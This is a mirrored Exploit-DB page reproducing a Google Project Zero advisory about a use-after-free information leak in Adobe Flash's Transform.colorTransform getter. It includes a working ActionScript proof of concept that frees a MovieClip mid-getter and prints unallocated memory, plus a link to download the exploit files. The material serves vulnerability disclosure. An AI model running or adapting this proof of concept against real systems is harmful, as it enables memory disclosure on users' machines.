Adobe Flash – Transform.colorTranform Getter Infomation Leak - 体验盒子

作者： Google Security Research

日期： 2016-09-08

类别：

dos

平台：

multiple

来源：https://www.exploit-db.com/exploits/40355/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=845

There is an info leak in the Transform.colorTranform getter. If the constructor for ColorTransform is overwritten with a getter using addProperty, this getter will execute when fetching the constructor, which can then free the MovieClip containing the Tranform.

A minimal PoC is as follows:

this.createEmptyMovieClip( "mc", 1);

var c = new ColorTransform( 77, 88, 99, 0.5, 1, 2, 3, 4);

var t:Transform = new Transform( mc );

t.colorTransform = c;

this.createTextField( "tf", 2, 0, 0, 2000, 200);

var ct = ColorTransform;

var g = flash.geom;

g.addProperty("ColorTransform", func, func);

var q = t.colorTransform;

tf.text = q.greenMultiplier + "\n" + q.blueMultiplier + "\n" + q.color;

function func(){

mc.removeMovieClip();

return ct;

}

A sample swf and fla are attached. The PoC prints the value of unallocated memory to the screen.

Proof of Concept:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40355.zip